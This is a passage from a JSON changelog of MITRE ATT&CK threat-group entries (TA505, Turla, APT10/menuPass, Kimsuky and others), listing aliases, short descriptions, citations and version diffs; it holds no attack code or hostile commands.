Silence Nov 2017", "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", "url": "https://securelist.com/the-silence/83009/" }, { "source_name": "Crowdstrike GTR2020 Mar 2020", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Oleg Skulkin, Group-IB" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-05-26 19:54:55.580000+00:00\", \"old_value\": \"2021-04-26 14:11:10.724000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1" }, { "type": "intrusion-set", "id": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-05-28 15:54:17.213000+00:00", "modified": "2021-10-14 20:27:57.195000+00:00", "name": "TA505", "description": "[TA505](https://attack.mitre.org/groups/G0092) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)", "aliases": [ "TA505", "Hive0065" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0092", "external_id": "G0092" }, { "source_name": "Hive0065", "description": "(Citation: IBM TA505 April 2020)" }, { "source_name": "Proofpoint TA505 Sep 2017", "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" }, { "source_name": "Proofpoint TA505 June 2018", "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" }, { "source_name": "Proofpoint TA505 Jan 2019", "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" }, { "source_name": "IBM TA505 April 2020", "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020.", "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 20:27:57.195000+00:00\", \"old_value\": \"2021-02-22 14:34:20.386000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3" }, { "type": "intrusion-set", "id": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-03-19 21:04:00.692000+00:00", "modified": "2021-09-30 12:58:59.065000+00:00", "name": "TA551", "description": "[TA551](https://attack.mitre.org/groups/G0127) is a financially-motivated threat group that has been active since at least 2018. (Citation: Secureworks GOLD CABIN) The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns. (Citation: Unit 42 TA551 Jan 2021)", "aliases": [ "TA551", "GOLD CABIN", "Shathak" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0127", "external_id": "G0127" }, { "source_name": "GOLD CABIN", "description": "(Citation: Secureworks GOLD CABIN)" }, { "source_name": "Shathak", "description": "(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)" }, { "source_name": "Secureworks GOLD CABIN", "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021.", "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin" }, { "source_name": "Unit 42 TA551 Jan 2021", "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.", "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/" }, { "source_name": "Unit 42 Valak July 2020", "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.", "url": "https://unit42.paloaltonetworks.com/valak-evolution/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Shuhei Sasada, Cyber Defense Institute, Inc", "Ryo Tamura, SecureBrain Corporation", "Shotaro Hamamoto, NEC Solution Innovators, Ltd", "Yusuke Niwa, ITOCHU Corporation", "Takuma Matsumoto, LAC Co., Ltd" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-30 12:58:59.065000+00:00\", \"old_value\": \"2021-03-25 15:33:58.444000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1" }, { "type": "intrusion-set", "id": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-04-16 15:14:38.533000+00:00", "modified": "2021-10-17 14:49:09.631000+00:00", "name": "TEMP.Veles", "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)", "aliases": [ "TEMP.Veles", "XENOTIME" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0088", "external_id": "G0088" }, { "source_name": "TEMP.Veles", "description": "(Citation: FireEye TRITON 2019)" }, { "source_name": "XENOTIME", "description": "The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )" }, { "source_name": "FireEye TRITON 2019", "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" }, { "source_name": "FireEye TEMP.Veles 2018", "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " }, { "source_name": "FireEye TEMP.Veles JSON April 2019", "description": "Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019.", "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html" }, { "source_name": "Dragos Xenotime 2018", "description": "Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.", "url": "https://dragos.com/resource/xenotime/" }, { "source_name": "Pylos Xenotime 2019", "description": "Slowik, J.. (2019, April 12). A XENOTIME to Remember: Veles in the Wild. Retrieved April 16, 2019.", "url": "https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/" }, { "source_name": "FireEye TEMP.Veles 2018 ", "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 14:49:09.631000+00:00\", \"old_value\": \"2021-02-09 14:34:04.242000+00:00\"}, \"root['description']\": {\"new_value\": \"[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)\", \"old_value\": \"[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )\", \"old_value\": \"The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rust1[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus
>sia-based threat group that has targeted critical infrastruc>sia-based threat group that has targeted critical infrastruc
>ture. The group has been observed utilizing TRITON, a malwar>ture. The group has been observed utilizing [TRITON](https:/
>e framework designed to manipulate industrial safety systems>/attack.mitre.org/software/S0609), a malware framework desig
>.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Vele>ned to manipulate industrial safety systems.(Citation: FireE
>s 2018)(Citation: FireEye TEMP.Veles JSON April 2019)>ye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation:
 > FireEye TEMP.Veles JSON April 2019)
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(Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018)", "aliases": [ "Threat Group-3390", "TG-3390", "Emissary Panda", "BRONZE UNION", "APT27", "Iron Tiger", "LuckyMouse" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0027", "external_id": "G0027" }, { "source_name": "Threat Group-3390", "description": "(Citation: Dell TG-3390) (Citation: Hacker News LuckyMouse June 2018)" }, { "source_name": "TG-3390", "description": "(Citation: Dell TG-3390) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Hacker News LuckyMouse June 2018)" }, { "source_name": "Emissary Panda", "description": "(Citation: Gallagher 2015) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)" }, { "source_name": "BRONZE UNION", "description": "(Citation: SecureWorks BRONZE UNION June 2017) (Citation: Nccgroup Emissary Panda May 2018)" }, { "source_name": "APT27", "description": "(Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)" }, { "source_name": "Iron Tiger", "description": "(Citation: Hacker News LuckyMouse June 2018)" }, { "source_name": "LuckyMouse", "description": "(Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)" }, { "source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" }, { "source_name": "SecureWorks BRONZE UNION June 2017", "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", "url": "https://www.secureworks.com/research/bronze-union" }, { "source_name": "Securelist LuckyMouse June 2018", "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" }, { "source_name": "Hacker News LuckyMouse June 2018", "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.", "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html" }, { "source_name": "Nccgroup Emissary Panda May 2018", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/" }, { "source_name": "Gallagher 2015", "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/" }, { "source_name": "Unit42 Emissary Panda May 2019", "description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. 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Retrieved July 9, 2019.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}}", "previous_version": "1.4", "version_change": "1.4 \u2192 1.5" }, { "type": "intrusion-set", "id": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-10-17 00:14:20.652000+00:00", "modified": "2021-10-12 20:13:42.274000+00:00", "name": "Thrip", "description": "[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as \"living off the land\" techniques. (Citation: Symantec Thrip June 2018)", "aliases": [ "Thrip" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0076", "external_id": "G0076" }, { "source_name": "Thrip", "description": "(Citation: Symantec Thrip June 2018)" }, { "source_name": "Symantec Thrip June 2018", "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-12 20:13:42.274000+00:00\", \"old_value\": \"2020-03-30 19:25:56.012000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2" }, { "type": "intrusion-set", "id": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:49.816000+00:00", "modified": "2021-08-27 14:36:25.289000+00:00", "name": "Turla", "description": "[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)\u2019s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines.(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)", "aliases": [ "Turla", "Group 88", "Belugasturgeon", "Waterbug", "WhiteBear", "VENOMOUS BEAR", "Snake", "Krypton" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0010", "external_id": "G0010" }, { "source_name": "Turla", "description": "(Citation: Kaspersky Turla)" }, { "source_name": "Group 88", "description": "(Citation: Leonardo Turla Penquin May 2020)" }, { "source_name": "Belugasturgeon", "description": "(Citation: Accenture HyperStack October 2020)" }, { "source_name": "Waterbug", "description": "Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug)" }, { "source_name": "WhiteBear", "description": "WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017)" }, { "source_name": "VENOMOUS BEAR", "description": "(Citation: CrowdStrike VENOMOUS BEAR)" }, { "source_name": "Snake", "description": "(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019)" }, { "source_name": "Krypton", "description": "(Citation: CrowdStrike VENOMOUS BEAR)" }, { "source_name": "Kaspersky Turla", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "url": "https://securelist.com/the-epic-turla-operation/65545/" }, { "source_name": "ESET Gazer Aug 2017", "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" }, { "source_name": "CrowdStrike VENOMOUS BEAR", "description": "Meyers, A. (2018, March 12). Meet CrowdStrike\u2019s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018.", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/" }, { "source_name": "ESET Turla Mosquito Jan 2018", "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" }, { "source_name": "Leonardo Turla Penquin May 2020", "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf" }, { "source_name": "Accenture HyperStack October 2020", "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020.", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity" }, { "source_name": "Symantec Waterbug", "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", "url": "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1" }, { "source_name": "Securelist WhiteBear Aug 2017", "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", "url": "https://securelist.com/introducing-whitebear/81638/" }, { "source_name": "ESET Turla PowerShell May 2019", "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Matthieu Faou, ESET", "Edward Millington" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-27 14:36:25.289000+00:00\", \"old_value\": \"2021-04-26 23:50:51.333000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1" }, { "type": "intrusion-set", "id": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-05-24 17:02:44.226000+00:00", "modified": "2021-10-17 14:50:57.491000+00:00", "name": "WIRTE", "description": "[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019)", "aliases": [ "WIRTE" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0090", "external_id": "G0090" }, { "source_name": "WIRTE", "description": "(Citation: Lab52 WIRTE Apr 2019)" }, { "source_name": "Lab52 WIRTE Apr 2019", "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.", "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Lab52 by S2 Grupo" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 14:50:57.491000+00:00\", \"old_value\": \"2020-03-30 19:31:01.756000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2" }, { "type": "intrusion-set", "id": "intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-26 16:55:09.674000+00:00", "modified": "2021-10-12 21:43:24.133000+00:00", "name": "Whitefly", "description": "[Whitefly](https://attack.mitre.org/groups/G0107) is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore\u2019s largest public health organization, SingHealth.(Citation: Symantec Whitefly March 2019)", "aliases": [ "Whitefly" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0107", "external_id": "G0107" }, { "source_name": "Symantec Whitefly March 2019", "description": "Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. 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Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)\n\n[menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)", "aliases": [ "menuPass", "Cicada", "POTASSIUM", "Stone Panda", "APT10", "Red Apollo", "CVNX", "HOGFISH" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0045", "external_id": "G0045" }, { "source_name": "menuPass", "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)" }, { "source_name": "Cicada", "description": "(Citation: Symantec Cicada November 2020)" }, { "source_name": "POTASSIUM", "description": "(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)" }, { "source_name": "Stone Panda", "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Symantec Cicada November 2020)" }, { "source_name": "APT10", "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020)" }, { "source_name": "Red Apollo", "description": "(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)" }, { "source_name": "CVNX", "description": "(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)" }, { "source_name": "HOGFISH", "description": "(Citation: Accenture Hogfish April 2018)" }, { "source_name": "DOJ APT10 Dec 2018", "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion" }, { "source_name": "District Court of NY APT10 Indictment December 2018", "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020.", "url": "https://www.justice.gov/opa/page/file/1122671/download" }, { "source_name": "Palo Alto menuPass Feb 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" }, { "source_name": "Crowdstrike CrowdCast Oct 2013", "description": "Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017.", "url": "https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem" }, { "source_name": "FireEye Poison Ivy", "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" }, { "source_name": "PWC Cloud Hopper April 2017", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" }, { "source_name": "FireEye APT10 April 2017", "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. 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[Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)", "aliases": [ "Machete", "APT-C-43", "El Machete" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0095", "external_id": "G0095" }, { "source_name": "Machete", "description": "(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(" }, { "source_name": "APT-C-43", "description": "(Citation: 360 Machete Sep 2020)" }, { "source_name": "El Machete", "description": "(Citation: Cylance Machete Mar 2017)" }, { "source_name": "Cylance Machete Mar 2017", "description": "The Cylance Threat Research Team. (2017, March 22). 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Old Description
New Description
t1[Kimsuky](https://attack.mitre.org/groups/G0094) is a North t1[Kimsuky](https://attack.mitre.org/groups/G0094) is a North 
>Korean-based threat group that has been active since at leas>Korea-based cyber espionage group that has been active since
>t September 2013. The group initially focused on targeting K> at least 2012. The group initially focused on targeting Sou
>orean think tanks and DPRK/nuclear-related targets, expandin>th Korean government entities, think tanks, and individuals 
>g recently to the United States, Russia, and Europe. The gro>identified as experts in various fields, and expanded its op
>up was attributed as the actor behind the Korea Hydro & Nucl>erations to include the United States, Russia, Europe, and t
>ear Power Co. compromise.(Citation: EST Kimsuky April 2019)(>he UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has 
>Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsu>focused its intelligence collection activities on foreign po
>ky November 2020)>licy and national security issues related to the Korean peni
 >nsula, nuclear policy, and sanctions.(Citation: EST Kimsuky 
 >April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybe
 >reason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky
 > June 2021)(Citation: CISA AA20-301A Kimsuky)  [Kimsuky](htt
 >ps://attack.mitre.org/groups/G0094) was assessed to be respo
 >nsible for the 2014 Korea Hydro & Nuclear Power Co. compromi
 >se; other notable campaigns include Operation STOLEN PENCIL 
 >(2018), Operation Kabar Cobra (2019), and Operation Smoke Sc
 >reen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Cita
 >tion: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab K
 >imsuky Kabar Cobra Feb 2019)  North Korean group definitions
 > are known to have significant overlap, and some security re
 >searchers report all North Korean state-sponsored cyber acti
 >vity under the name [Lazarus Group](https://attack.mitre.org
 >/groups/G0032) instead of tracking clusters or subgroups.
